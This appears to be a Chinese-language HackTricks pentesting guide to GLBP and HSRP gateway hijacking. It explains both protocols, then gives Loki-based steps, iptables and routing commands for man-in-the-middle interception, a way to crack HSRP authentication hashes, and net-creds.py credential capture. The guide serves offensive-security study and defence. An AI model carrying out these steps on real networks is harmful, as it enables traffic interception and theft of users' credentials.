GLBP & HSRP Attacks

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

FHRP 劫持概述

FHRP 概览

FHRP 旨在通过将多个路由器合并为单个虚拟单元来提供网络鲁棒性,从而增强负载分配和容错能力。思科系统推出了该套件中的重要协议,如 GLBP 和 HSRP。

GLBP 协议概述

思科的创造,GLBP,在 TCP/IP 协议栈上运行,利用端口 3222 上的 UDP 进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器在 10 秒内未发送这些数据包,则被视为离线。但是,这些计时器不是固定的,可以进行修改。

GLBP 操作和负载分配

GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址实现跨路由器的负载分配。在 GLBP 组中,每个路由器都参与数据包转发。与 HSRP/VRRP 不同,GLBP 通过几种机制提供真正的负载平衡:

  • 主机相关负载平衡: 为主机保持一致的 AVF MAC 地址分配,对于稳定的 NAT 配置至关重要。

  • 轮询负载平衡: 默认方法,在请求主机之间交替分配 AVF MAC 地址。

  • 加权轮询负载平衡: 根据预定义的“权重”指标分配负载。

GLBP 中的关键组件和术语

  • AVG(活动虚拟网关): 负责为对等路由器分配 MAC 地址的主要路由器。

  • AVF(活动虚拟转发器): 指定用于管理网络流量的路由器。

  • GLBP 优先级: 决定 AVG 的度量标准,从默认值 100 开始,范围在 1 到 255 之间。

  • GLBP 权重: 反映路由器上的当前负载,可以手动调整或通过对象跟踪进行调整。

  • GLBP 虚拟 IP 地址: 为所有连接设备提供网络的默认网关。

在交互方面,GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222。路由器每隔 3 秒传输“hello”数据包,如果在 10 秒的持续时间内错过一个数据包,则被视为非操作。

GLBP 攻击机制

攻击者可以通过发送优先级值最高(255)的 GLBP 数据包成为主要路由器。这可能导致 DoS 或 MITM 攻击,允许拦截或重定向流量。

使用 Loki 执行 GLBP 攻击

Loki 可以通过注入优先级和权重设置为 255 的数据包执行 GLBP 攻击。攻击前的步骤包括使用诸如 Wireshark 等工具收集虚拟 IP 地址、认证存在和路由器优先级值等信息。

攻击步骤:

  1. 切换到混杂模式并启用 IP 转发。

  2. 确定目标路由器并检索其 IP。

  3. 生成一个恶意的 Gratuitous ARP。

  4. 注入一个恶意的 GLBP 数据包,冒充 AVG。

  5. 为攻击者的网络接口分配一个次要 IP 地址,镜像 GLBP 虚拟 IP。

  6. 实施 SNAT 以完全可见流量。

  7. 调整路由以确保通过原始 AVG 路由器继续访问互联网。

通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。

演示所需的命令片段如下:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

使用net-creds.py或类似工具来捕获和分析流经受损网络的数据,可以监视和拦截流量。

HSRP劫持的被动解释及命令详细信息

HSRP概述(热备份路由器/冗余协议)

HSRP是思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为单个逻辑单元,共享一个IP地址。这个逻辑单元由主路由器管理,负责流量导向。与GLBP不同,GLBP使用优先级和权重等指标进行负载平衡,HSRP依赖单个活动路由器进行流量管理。

HSRP中的角色和术语

  • HSRP活动路由器:充当网关的设备,管理流量流向。

  • HSRP备用路由器:备用路由器,准备在活动路由器故障时接管。

  • HSRP组:一组路由器合作形成一个单一的弹性虚拟路由器。

  • HSRP MAC地址:分配给HSRP设置中逻辑路由器的虚拟MAC地址。

  • HSRP虚拟IP地址:HSRP组的虚拟IP地址,充当连接设备的默认网关。

HSRP版本

HSRP有两个版本,HSRPv1和HSRPv2,主要区别在于组容量、多播IP使用和虚拟MAC地址结构。该协议利用特定的多播IP地址进行服务信息交换,每3秒发送一次Hello数据包。如果在10秒内未收到数据包,则假定路由器处于非活动状态。

HSRP攻击机制

HSRP攻击涉及通过注入最大优先级值强制接管活动路由器的角色。这可能导致中间人攻击。攻击前的基本步骤包括收集有关HSRP设置的数据,可以使用Wireshark进行流量分析。

绕过HSRP身份验证的步骤

  1. 将包含HSRP数据的网络流量保存为.pcap文件。

tcpdump -w hsrp_traffic.pcap
  1. 使用hsrp2john.py从.pcap文件中提取MD5哈希。

python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. 使用John the Ripper破解MD5哈希。

john --wordlist=mywordlist.txt hsrp_hashes

使用Loki执行HSRP注入

  1. 启动Loki以识别HSRP广告。

  2. 将网络接口设置为混杂模式并启用IP转发。

sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. 使用Loki瞄准特定路由器,输入破解的HSRP密码,并执行必要的配置以冒充活动路由器。

  2. 获得活动路由器角色后,配置您的网络接口和IP表以拦截合法流量。

sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. 修改路由表以通过以前的活动路由器路由流量。

sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. 使用net-creds.py或类似实用程序从拦截的流量中捕获凭据。

sudo python2 net-creds.py -i eth0

执行这些步骤将使攻击者能够拦截和操纵流量,类似于GLBP劫持的过程。这突显了冗余协议如HSRP的漏洞以及对强大安全措施的需求。

最后更新于